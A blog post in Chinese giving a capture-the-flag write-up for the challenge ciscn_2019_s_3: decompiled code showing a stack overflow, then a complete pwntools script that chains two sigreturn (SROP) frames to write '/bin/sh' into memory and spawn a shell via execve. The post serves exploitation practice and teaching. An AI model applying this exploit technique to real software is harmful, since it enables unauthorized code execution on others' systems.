ciscn_2019_s_3

题目链接 :ciscn_2019_s_3

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  return vuln();
}

vuln 函数如下。

signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

可以看出,vuln 函数中存在栈溢出漏洞。

留意到程序中存在 gadget 函数,如下。

.text:00000000004004D6 gadgets         proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6                 push    rbp
.text:00000000004004D7                 mov     rbp, rsp
.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1                 retn

可以看到,这里暗示本题使用 SROP 解法。

解题思路:

  1. SROP 往一处空间写入字符串 "/bin/sh"。
  2. SROP 调用 execve,从而 GetShell。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .text:00000000004004D6 gadgets         proc near
    # .text:00000000004004D6 ; __unwind {
    # .text:00000000004004D6                 push    rbp
    # .text:00000000004004D7                 mov     rbp, rsp
    # .text:00000000004004DA                 mov     rax, 0Fh
    # .text:00000000004004E1                 retn

    # .text:0000000000400517                 syscall
    # .text:0000000000400519                 retn

    # pwn.elf:0000000000601200

    p()

    frameExecve = SigreturnFrame()
    frameExecve.rax = constants.SYS_read
    frameExecve.rdi = 0
    frameExecve.rsi = 0x0000000000601200
    frameExecve.rdx = 0x1000
    frameExecve.rbp = 0x0
    frameExecve.rsp = 0x0000000000601208
    frameExecve.rip = 0x0000000000400517
    s(0x10 * b'a' + \
      p64(0x00000000004004DA) + \
          p64(0x0000000000400517) + \
            bytes(frameExecve))

    frameExecve = SigreturnFrame()
    frameExecve.rax = constants.SYS_execve
    frameExecve.rdi = 0x0000000000601200
    frameExecve.rsi = 0x0
    frameExecve.rdx = 0x0
    frameExecve.rbp = 0x0
    frameExecve.rsp = 0x0000000000601300
    frameExecve.rip = 0x0000000000400517
    s(b"/bin/sh\x00" + p64(0x00000000004004DA) + p64(0x0000000000400517) + bytes(frameExecve))


    
    irt()

pwn()
posted @ 2025-09-06 13:12  imtaieee  阅读(8)  评论(0)    收藏  举报